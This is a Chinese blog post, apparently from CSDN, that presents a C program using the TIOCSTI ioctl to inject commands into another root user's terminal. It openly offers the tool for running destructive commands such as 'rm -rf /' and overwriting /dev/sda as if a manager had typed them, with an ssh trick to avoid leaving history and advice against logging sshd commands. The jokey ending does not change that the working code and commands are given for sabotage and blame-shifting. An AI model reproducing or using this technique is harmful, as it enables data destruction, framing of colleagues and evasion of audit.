在别人的终端上执行Linux命令

你想偷偷摸摸干点不好的事吗?

我的意思是,你干点坏事,比如把机器给halt,比重要文件删了,然后让人觉得这是别人干的,说白了,就是嫁祸于人,特别是经理,你想吗?

本文我将提供一个比较low的偏门技巧。


很多情况下,我们都用root登录一台服务器,并且不止一个人以root登录,像这样:
在这里插入图片描述
可以看到分别打开了两个tty终端:
在这里插入图片描述
我们希望在别人打开的其它终端中执行一些可怕的命令,比如 “rm -rf /”“echo aaa >/dev/sda” … 当有人查起来,趁着程序还在内存中,你可以说, “不是我干的啊,是经理干的啊,不信,你去看看经理终端的history!”

嗯!

好了,现在,我希望在pts/1上输入一个命令,让它在pts/0上执行。效果是这样子的:
在这里插入图片描述
你可能觉得还需要考虑如何隐藏掉下面的history:

    7  ./a.out /dev/pts/0 pwd

简单,直接在另一台你自己的机器上搞呗:

ssh root@192.168.56.110 "/root/a.out /dev/pts/0 'echo 经理的皮鞋不会胖'"

你看,干干净净:
在这里插入图片描述

如何做到的呢?

秘密就在a.out中了。

这是一个非常简单的程序,代码如下:

#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char **argv)
{
  char tty[16] = {0};
  char cmd[64] = {0};
  char tmp[2] = {0};
  int len, i;
  int fd;

  strncpy(tty, argv[1], strlen(argv[1]));
  strncpy(cmd, argv[2], strlen(argv[2]));
  len = strlen(cmd);
  fd = open(tty, O_RDWR);

  for (i = 0; i < len; i++) {
    sprintf(tmp, "%c ", cmd[i]);
    ioctl(fd, TIOCSTI, tmp);
  }
  ioctl(fd, TIOCSTI, "\n ");
}

当然,你可以 替别人(特别是经理) 执行任何命令,毕竟你们都是root嘛…

还不赶紧去试试?


开玩笑了,这篇文章其实没有什么技术含量,你只要知道TIOCSTI这个command就能写出这程序,这一点我在很久之前的文章里就有说过:
https://blog.csdn.net/dog250/article/details/5692612

所以说,也就不要纠结这程序在没有root的时候没有用了…没有root给你给终端你也干不了什么坏事,所谓的坏事就是大家都有root的情况相互甩锅,抵赖。

另外,也不要总想着通过配置sshd来记录ssh远程执行的命令从而缉拿真正的捣乱分子,只是玩玩儿,何必什么事都当真去较真儿呢?


浙江温州皮鞋湿,下雨进水不会胖。

发布了1550 篇原创文章 · 获赞 4786 · 访问量 1065万+
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 编程工作室 设计师: CSDN官方博客

分享到微信朋友圈

×

扫一扫,手机浏览